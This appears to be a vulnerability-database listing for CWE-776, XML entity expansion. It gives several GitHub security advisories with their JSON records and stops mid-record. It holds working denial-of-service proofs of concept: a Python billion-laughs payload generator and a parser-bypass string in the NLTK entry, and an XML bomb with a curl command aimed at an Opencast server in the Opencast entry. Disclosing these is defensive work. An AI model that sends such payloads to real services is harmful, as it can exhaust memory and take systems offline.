Common Weakness Enumeration

CWE-776

Allowed

Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product uses XML documents and allows their structure to be defined with a Document Type Definition (DTD), but it does not properly control the number of recursive definitions of entities.

165 vulnerabilities reference this CWE, most recent first.

GHSA-93HF-XXFJ-6GX3

Vulnerability from github – Published: 2022-05-24 19:14 – Updated: 2022-05-24 19:14
VLAI
Details

XML Entity Expansion injection vulnerability in McAfee Endpoint Security (ENS) for Windows prior to 10.7.0 September 2021 Update allows a local user to initiate high CPU and memory consumption resulting in a Denial of Service attack through carefully editing the EPDeploy.xml file and then executing the setup process.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2021-31842"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611",
      "CWE-776"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-09-17T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "XML Entity Expansion injection vulnerability in McAfee Endpoint Security (ENS) for Windows prior to 10.7.0 September 2021 Update allows a local user to initiate high CPU and memory consumption resulting in a Denial of Service attack through carefully editing the EPDeploy.xml file and then executing the setup process.",
  "id": "GHSA-93hf-xxfj-6gx3",
  "modified": "2022-05-24T19:14:57Z",
  "published": "2022-05-24T19:14:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31842"
    },
    {
      "type": "WEB",
      "url": "https://kc.mcafee.com/corporate/index?page=content\u0026id=SB10367"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-97QJ-X29F-37W7

Vulnerability from github – Published: 2026-09-08 16:42 – Updated: 2026-09-08 16:42
VLAI
Summary
NLTK: Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses
Details

Several XML parsing sites in NLTK still used xml.etree.ElementTree directly, which honours <!ENTITY> declarations in a document's internal DTD subset. A crafted document a few hundred bytes long can expand to megabytes in memory (each nesting level multiplies by ten), a denial-of-service.

Affected call sites (<= 3.10.2): - nltk.chunk.named_entity.load_ace_file — parses ACE annotation XML - nltk.internals.ElementWrapper — converts any given string to an Element - nltk.downloader — Package.fromxml, Collection.fromxml, _find_collections, _find_packages

libexpat 2.6.0 added an input-amplification cap, but it only engages above an activation threshold (~8 MiB output) and depends on whichever libexpat the interpreter links; builds against older libexpat have no cap at all. External entities are not resolved by ElementTree, so this is a memory-amplification DoS (CWE-776), not XXE/file disclosure.

This completes the earlier defusedxml adoption that these sites were missed by. Fix routes all of them through a new nltk.xmlsec module that refuses entity declarations, preferring defusedxml and falling back to a standard-library xml.parsers.expat pre-scan when defusedxml is absent.

Attack demonstration

Reproducible PoC against a real affected entry point (nltk.internals.ElementWrapper). Every number below is captured output, not illustrative.

1. The amplification (vulnerable path: raw xml.etree.ElementTree)

A payload of a few hundred bytes expands to megabytes in memory. Each nesting level multiplies output by 10 while adding ~56 bytes of input:

levels input bytes expanded bytes factor
3 218 10,000 x45
4 274 100,000 x364
5 330 1,000,000 x3,030
6 386 (libexpat 2.7.1 cap trips) -

The level-6 cap is libexpat's, not NLTK's: it only engages above an ~8 MiB activation threshold, and older libexpat builds (still shipped with many 3.10/3.11 interpreters) have no cap at all. Under the threshold — up to ~1 MB per parse here — expansion always succeeds.

import xml.etree.ElementTree as ET
def bomb(levels):
    d = "\n".join(f'<!ENTITY e{i} "{("&e%d;"%(i-1))*10}">' for i in range(1, levels+1))
    return f'<!DOCTYPE d [<!ENTITY e0 "AAAAAAAAAA">{d}]><d>&e{levels};</d>'
ET.fromstring(bomb(5))   # -> element whose .text is 1,000,000 chars

2. The patched entry point rejects it

>>> from nltk.internals import ElementWrapper
>>> ElementWrapper(bomb(5))
EntitiesForbidden: EntitiesForbidden(name='e0', ...)

3. Why a text-based screen is not enough

An entity declaration can hide behind a decoy <!DOCTYPE> in a prolog comment. Raw ElementTree still processes the real declaration and expands; a guard that walks the DOCTYPE text is fooled. The shipped guard re-parses with expat, so it is not:

evil = '<!-- <!DOCTYPE x [ ] > --><!DOCTYPE d [<!ENTITY a "PPPP...">]><d>&a;</d>'

raw ElementTree -> EXPANDS ('PPPPPPPPPPPP...', 40 chars)
nltk.xmlsec     -> REJECTED (EntitiesForbidden)

An earlier draft of the fallback that walked the text was bypassed by this and 4 similar payloads (decoy DOCTYPE in a PI, stray ] inside a PI in the internal subset). All five are now regression tests.

4. Both back ends block it

nltk.xmlsec prefers defusedxml and falls back to a stdlib xml.parsers.expat pre-scan. Same payloads, defusedxml hidden to force the fallback:

stdlib fallback | billion-laughs               -> REJECTED (EntitiesForbidden)
stdlib fallback | comment-decoy differential   -> REJECTED (EntitiesForbidden)

Environment: python 3.13.7, libexpat 2.7.1. Confirmed identical amplification on python 3.10 (NLTK's floor).

Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "nltk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-78681"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-776"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T16:42:18Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Several XML parsing sites in NLTK still used `xml.etree.ElementTree` directly, which honours `\u003c!ENTITY\u003e` declarations in a document\u0027s internal DTD subset. A crafted document a few hundred bytes long can expand to megabytes in memory (each nesting level multiplies by ten), a denial-of-service.\n\nAffected call sites (\u003c= 3.10.2):\n- `nltk.chunk.named_entity.load_ace_file` \u2014 parses ACE annotation XML\n- `nltk.internals.ElementWrapper` \u2014 converts any given string to an Element\n- `nltk.downloader` \u2014 `Package.fromxml`, `Collection.fromxml`, `_find_collections`, `_find_packages`\n\nlibexpat 2.6.0 added an input-amplification cap, but it only engages above an activation threshold (~8 MiB output) and depends on whichever libexpat the interpreter links; builds against older libexpat have no cap at all. External entities are not resolved by ElementTree, so this is a memory-amplification DoS (CWE-776), not XXE/file disclosure.\n\nThis completes the earlier defusedxml adoption that these sites were missed by. Fix routes all of them through a new `nltk.xmlsec` module that refuses entity declarations, preferring `defusedxml` and falling back to a standard-library `xml.parsers.expat` pre-scan when defusedxml is absent.\n\n---\n\n## Attack demonstration\n\nReproducible PoC against a real affected entry point (`nltk.internals.ElementWrapper`). Every number below is captured output, not illustrative.\n\n### 1. The amplification (vulnerable path: raw `xml.etree.ElementTree`)\n\nA payload of a few hundred bytes expands to megabytes in memory. Each nesting level multiplies output by 10 while adding ~56 bytes of input:\n\n| levels | input bytes | expanded bytes | factor |\n|--------|-------------|----------------|--------|\n| 3 | 218 | 10,000 | x45 |\n| 4 | 274 | 100,000 | x364 |\n| 5 | 330 | 1,000,000 | x3,030 |\n| 6 | 386 | (libexpat 2.7.1 cap trips) | - |\n\nThe level-6 cap is **libexpat\u0027s**, not NLTK\u0027s: it only engages above an ~8 MiB activation threshold, and older libexpat builds (still shipped with many 3.10/3.11 interpreters) have no cap at all. Under the threshold \u2014 up to ~1 MB per parse here \u2014 expansion always succeeds.\n\n```python\nimport xml.etree.ElementTree as ET\ndef bomb(levels):\n    d = \"\\n\".join(f\u0027\u003c!ENTITY e{i} \"{(\"\u0026e%d;\"%(i-1))*10}\"\u003e\u0027 for i in range(1, levels+1))\n    return f\u0027\u003c!DOCTYPE d [\u003c!ENTITY e0 \"AAAAAAAAAA\"\u003e{d}]\u003e\u003cd\u003e\u0026e{levels};\u003c/d\u003e\u0027\nET.fromstring(bomb(5))   # -\u003e element whose .text is 1,000,000 chars\n```\n\n### 2. The patched entry point rejects it\n\n```\n\u003e\u003e\u003e from nltk.internals import ElementWrapper\n\u003e\u003e\u003e ElementWrapper(bomb(5))\nEntitiesForbidden: EntitiesForbidden(name=\u0027e0\u0027, ...)\n```\n\n### 3. Why a text-based screen is not enough\n\nAn entity declaration can hide behind a decoy `\u003c!DOCTYPE\u003e` in a prolog comment. Raw ElementTree still processes the real declaration and expands; a guard that walks the DOCTYPE text is fooled. The shipped guard re-parses with expat, so it is not:\n\n```python\nevil = \u0027\u003c!-- \u003c!DOCTYPE x [ ] \u003e --\u003e\u003c!DOCTYPE d [\u003c!ENTITY a \"PPPP...\"\u003e]\u003e\u003cd\u003e\u0026a;\u003c/d\u003e\u0027\n```\n\n```\nraw ElementTree -\u003e EXPANDS (\u0027PPPPPPPPPPPP...\u0027, 40 chars)\nnltk.xmlsec     -\u003e REJECTED (EntitiesForbidden)\n```\n\nAn earlier draft of the fallback that walked the text **was** bypassed by this and 4 similar payloads (decoy DOCTYPE in a PI, stray `]` inside a PI in the internal subset). All five are now regression tests.\n\n### 4. Both back ends block it\n\n`nltk.xmlsec` prefers `defusedxml` and falls back to a stdlib `xml.parsers.expat` pre-scan. Same payloads, defusedxml hidden to force the fallback:\n\n```\nstdlib fallback | billion-laughs               -\u003e REJECTED (EntitiesForbidden)\nstdlib fallback | comment-decoy differential   -\u003e REJECTED (EntitiesForbidden)\n```\n\nEnvironment: python 3.13.7, libexpat 2.7.1. Confirmed identical amplification on python 3.10 (NLTK\u0027s floor).",
  "id": "GHSA-97qj-x29f-37w7",
  "modified": "2026-09-08T16:42:18Z",
  "published": "2026-09-08T16:42:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-97qj-x29f-37w7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78681"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/commit/e91789c9a043296ad04912ce171c22776d45963b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nltk/nltk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/releases/tag/v3.10.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3748.yaml"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/nltk-before-entity-expansion-dos-via-elementtree"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "NLTK: Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses"
}

GHSA-9882-28WJ-G67P

Vulnerability from github – Published: 2022-05-24 17:09 – Updated: 2024-03-21 03:33
VLAI
Details

An issue was discovered in SmartClient 12.0. Unauthenticated exploitation of blind XXE can occur in the downloadWSDL feature by sending a POST request to /tools/developerConsoleOperations.jsp with a valid payload in the _transaction parameter.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2020-9352"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611",
      "CWE-776"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-02-23T02:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in SmartClient 12.0. Unauthenticated exploitation of blind XXE can occur in the downloadWSDL feature by sending a POST request to /tools/developerConsoleOperations.jsp with a valid payload in the _transaction parameter.",
  "id": "GHSA-9882-28wj-g67p",
  "modified": "2024-03-21T03:33:54Z",
  "published": "2022-05-24T17:09:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-9352"
    },
    {
      "type": "WEB",
      "url": "https://blog.certimetergroup.com/it/articolo/security/smartclient-v12-xml-external-entity--cve-2020-9352"
    },
    {
      "type": "WEB",
      "url": "https://seclists.org/fulldisclosure/2020/Feb/18"
    },
    {
      "type": "WEB",
      "url": "https://www-demos.smartclient.com/smartclient-12.0/isomorphic/system/reference/?id=group..toolsDeployment"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9F4Q-Q82Q-4359

Vulnerability from github – Published: 2026-05-11 18:31 – Updated: 2026-05-18 15:21
VLAI
Summary
Docling's METS GBS backend is vulnerable to XML Entity Expansion (XXE) attacks
Details

Docling's METS GBS backend is vulnerable to XML Entity Expansion (XXE) attacks thru 2.61.0. The backend extracts and validates XML files from .tar.gz archives using etree.fromstring() without disabling entity resolution. An attacker can craft a malicious XML file with nested entity definitions (XML Bomb) and package it into a .tar.gz archive. When processed by Docling, the exponential expansion of entities during XML parsing leads to excessive resource consumption, resulting in a denial of service (DoS) condition on the system running the Docling parser.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "docling"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.61.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-31248"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-776"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T15:21:03Z",
    "nvd_published_at": "2026-05-11T17:16:19Z",
    "severity": "HIGH"
  },
  "details": "Docling\u0027s METS GBS backend is vulnerable to XML Entity Expansion (XXE) attacks thru 2.61.0. The backend extracts and validates XML files from .tar.gz archives using etree.fromstring() without disabling entity resolution. An attacker can craft a malicious XML file with nested entity definitions (XML Bomb) and package it into a .tar.gz archive. When processed by Docling, the exponential expansion of entities during XML parsing leads to excessive resource consumption, resulting in a denial of service (DoS) condition on the system running the Docling parser.",
  "id": "GHSA-9f4q-q82q-4359",
  "modified": "2026-05-18T15:21:03Z",
  "published": "2026-05-11T18:31:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31248"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/docling-project/docling"
    },
    {
      "type": "WEB",
      "url": "https://www.notion.so/CVE-2026-31248-35d1e1393188818585b2ce3b9ce24686"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Docling\u0027s METS GBS backend is vulnerable to XML Entity Expansion (XXE) attacks"
}

GHSA-9FMG-89FX-R33W

Vulnerability from github – Published: 2022-06-29 22:39 – Updated: 2022-07-11 19:25
VLAI
Summary
Quadratic blowup in Convert::xml2array()
Details

Silverstripe silverstripe/framework 4.x until 4.10.9 has a quadratic blowup in Convert::xml2array() that enables a remote attack via a crafted XML document.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "silverstripe/framework"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.10.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-41559"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-776"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-06-29T22:39:50Z",
    "nvd_published_at": "2022-06-28T22:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Silverstripe silverstripe/framework 4.x until 4.10.9 has a quadratic blowup in Convert::xml2array() that enables a remote attack via a crafted XML document.",
  "id": "GHSA-9fmg-89fx-r33w",
  "modified": "2022-07-11T19:25:18Z",
  "published": "2022-06-29T22:39:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41559"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/silverstripe/framework/CVE-2021-41559.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/silverstripe/silverstripe-framework/releases"
    },
    {
      "type": "WEB",
      "url": "https://www.silverstripe.org/download/security-releases"
    },
    {
      "type": "WEB",
      "url": "https://www.silverstripe.org/download/security-releases/cve-2021-41559"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Quadratic blowup in Convert::xml2array()"
}

GHSA-9FP8-GJQ2-822P

Vulnerability from github – Published: 2023-08-31 15:30 – Updated: 2024-04-04 07:20
VLAI
Details

A XML External Entity (XXE) vulnerability in the VerifichePeriodiche.aspx component of GruppoSCAI RealGimm v1.1.37p38 allows attackers to read any file in the filesystem via supplying a crafted XML file.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2023-41635"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-776"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-31T14:15:08Z",
    "severity": "MODERATE"
  },
  "details": "A XML External Entity (XXE) vulnerability in the VerifichePeriodiche.aspx component of GruppoSCAI RealGimm v1.1.37p38 allows attackers to read any file in the filesystem via supplying a crafted XML file.",
  "id": "GHSA-9fp8-gjq2-822p",
  "modified": "2024-04-04T07:20:29Z",
  "published": "2023-08-31T15:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41635"
    },
    {
      "type": "WEB",
      "url": "https://github.com/CapgeminiCisRedTeam/Disclosure/blob/f7aafa9fcd4efa30071c7f77d3e9e6b14e92302b/CVE%20PoC/CVE-2023-41635%20%7C%20RealGimm%20-%20XML%20External%20Entity%20Injection.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/CapgeminiCisRedTeam/Disclosure/blob/main/CVE%20PoC/CVE-ID%20%7C%20RealGimm%20-%20XML%20External%20Entity%20Injection.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9GCV-G5Q9-F633

Vulnerability from github – Published: 2022-05-24 19:03 – Updated: 2022-08-06 00:00
VLAI
Details

It has been discovered that redhat-certification does not properly limit the number of recursive definitions of entities in XML documents while parsing the status of a host. A remote attacker could use this vulnerability to consume all the memory of the server and cause a Denial of Service. This flaw affects redhat-certification version 7.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2018-10868"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-776"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-05-26T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "It has been discovered that redhat-certification does not properly limit the number of recursive definitions of entities in XML documents while parsing the status of a host. A remote attacker could use this vulnerability to consume all the memory of the server and cause a Denial of Service. This flaw affects redhat-certification version 7.",
  "id": "GHSA-9gcv-g5q9-f633",
  "modified": "2022-08-06T00:00:44Z",
  "published": "2022-05-24T19:03:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-10868"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2018-10868"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1593776"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9GJX-M56F-J2FC

Vulnerability from github – Published: 2022-05-24 17:40 – Updated: 2022-05-24 17:40
VLAI
Details

The Dashboard Editor in Hitachi Vantara Pentaho through 7.x - 8.x contains an XML Entity Expansion injection vulnerability, which allows an authenticated remote users to trigger a denial of service (DoS) condition. Specifically, the vulnerability lies in the 'dashboardXml' parameter. Remediated in >= 7.1.0.25, >= 8.2.0.6, >= 8.3.0.0 GA

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-24665"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-776"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-01-29T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The Dashboard Editor in Hitachi Vantara Pentaho through 7.x - 8.x contains an XML Entity Expansion injection vulnerability, which allows an authenticated remote users to trigger a denial of service (DoS) condition. Specifically, the vulnerability lies in the \u0027dashboardXml\u0027 parameter. Remediated in \u003e= 7.1.0.25, \u003e= 8.2.0.6, \u003e= 8.3.0.0 GA",
  "id": "GHSA-9gjx-m56f-j2fc",
  "modified": "2022-05-24T17:40:33Z",
  "published": "2022-05-24T17:40:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-24665"
    },
    {
      "type": "WEB",
      "url": "https://www.accenture.com"
    },
    {
      "type": "WEB",
      "url": "http://www.hitachi.com/hirt/hitachi-sec/2020/601.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-9GWX-9CWP-5C2M

Vulnerability from github – Published: 2021-06-17 20:11 – Updated: 2021-10-21 13:40
VLAI
Summary
Billion laughs attack (XML bomb)
Details

Impact

Opencast is vulnerable to the Billion laughs attack which allows an attacker to easily execute a (seemingly permanent) denial of service attack, essentially taking down Opencast using a single HTTP request.

Consider an XML file (createMediaPackage.xml) like this:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE lolz [
 <!ENTITY lol "Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum. ">
 <!ELEMENT title (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
]>
<mediapackage xmlns="http://mediapackage.opencastproject.org" id="d162d5b2-b54f-4400-a268-ee6565b0e6e7" start="2020-01-23T23:08:37Z">
  <title>&lol5;</title>
  <media/>
  <metadata/>
  <attachments/>
  <publications/>
</mediapackage>

Throwing this at Opencast will cause Opencast to parse the XML and expand the Lorem Ipsum about 100 000 times, instantly consuming a huge amount of memory:

curl -i -u admin:opencast https://develop.opencast.org/ingestdownload/ingestdownload \
  -F 'mediapackage=<createMediaPackage.xml' \
  -F sourceFlavors="" \
  -F sourceTags="" \
  -F deleteExternal="" \
  -F tagsAndFlavor='' \
  -o out.xml

Additional notes:

  • You can likely use other endpoints accepting XML (this was just the first one I tried) and depending on how much memory you want to consume, you might want to enlarge the lorem ipsum text.
  • Opencast's XML parser does limit the expansion to 100 000 times, already limiting the attack. Nevertheless, this can already harm the system.
  • To exploit this, users need to have ingest privileges, limiting the group of potential attackers

Patches

The problem has been fixed in Opencast 9.6. Older versions of Opencast are not patched sue to the extent of this patch.

Workarounds

There is no known workaround for this issue.

References

For more information

If you have any questions or comments about this advisory:

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.opencastproject:opencast-kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-32623"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-776"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-06-16T20:07:19Z",
    "nvd_published_at": "2021-06-16T00:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nOpencast is vulnerable to the [Billion laughs attack](https://en.wikipedia.org/wiki/Billion_laughs_attack)  which allows an attacker to easily execute a (seemingly permanent) denial of service attack, essentially taking down Opencast using a single HTTP request.\n\nConsider an XML file (`createMediaPackage.xml`) like this:\n\n```xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?\u003e\n\u003c!DOCTYPE lolz [\n \u003c!ENTITY lol \"Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry\u0027s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum. \"\u003e\n \u003c!ELEMENT title (#PCDATA)\u003e\n \u003c!ENTITY lol1 \"\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\"\u003e\n \u003c!ENTITY lol2 \"\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\"\u003e\n \u003c!ENTITY lol3 \"\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\"\u003e\n \u003c!ENTITY lol4 \"\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\"\u003e\n \u003c!ENTITY lol5 \"\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\"\u003e\n]\u003e\n\u003cmediapackage xmlns=\"http://mediapackage.opencastproject.org\" id=\"d162d5b2-b54f-4400-a268-ee6565b0e6e7\" start=\"2020-01-23T23:08:37Z\"\u003e\n  \u003ctitle\u003e\u0026lol5;\u003c/title\u003e\n  \u003cmedia/\u003e\n  \u003cmetadata/\u003e\n  \u003cattachments/\u003e\n  \u003cpublications/\u003e\n\u003c/mediapackage\u003e\n```\n\nThrowing this at Opencast will cause Opencast to parse the XML and expand the Lorem Ipsum about 100\u00a0000 times, instantly consuming a huge amount of memory:\n\n```sh\ncurl -i -u admin:opencast https://develop.opencast.org/ingestdownload/ingestdownload \\\n  -F \u0027mediapackage=\u003ccreateMediaPackage.xml\u0027 \\\n  -F sourceFlavors=\"\" \\\n  -F sourceTags=\"\" \\\n  -F deleteExternal=\"\" \\\n  -F tagsAndFlavor=\u0027\u0027 \\\n  -o out.xml\n```\n\nAdditional notes:\n\n- You can likely use other endpoints accepting XML (this was just the first one I tried) and depending on how much memory you want to consume, you might want to enlarge the lorem ipsum text.\n- Opencast\u0027s XML parser does limit the expansion to 100\u00a0000 times, already limiting the attack. Nevertheless, this can already harm the system. \n- To exploit this, users need to have ingest privileges, limiting the group of potential attackers\n\n### Patches\n\nThe problem has been fixed in Opencast 9.6. Older versions of Opencast are not patched sue to the extent of this patch.\n\n### Workarounds\n\nThere is no known workaround for this issue.\n\n### References\n\n- [Billion laughs attack explained](https://en.wikipedia.org/wiki/Billion_laughs_attack)\n- For technical details, take a look at the patch fixing the issue: https://github.com/opencast/opencast/commit/_________\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- Open an issue in [our issue tracker](https://github.com/opencast/opencast/issues)\n- Email us at [security@opencast.org](mailto:security@opencast.org)",
  "id": "GHSA-9gwx-9cwp-5c2m",
  "modified": "2021-10-21T13:40:37Z",
  "published": "2021-06-17T20:11:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/opencast/opencast/security/advisories/GHSA-9gwx-9cwp-5c2m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32623"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencast/opencast/commit/16b0d641713fe31b8518fcf14fc5e4e815d81206"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencast/opencast/commit/8ae27da5a6f658011a5741b3210e715b0dc6213e"
    },
    {
      "type": "PACKAGE",
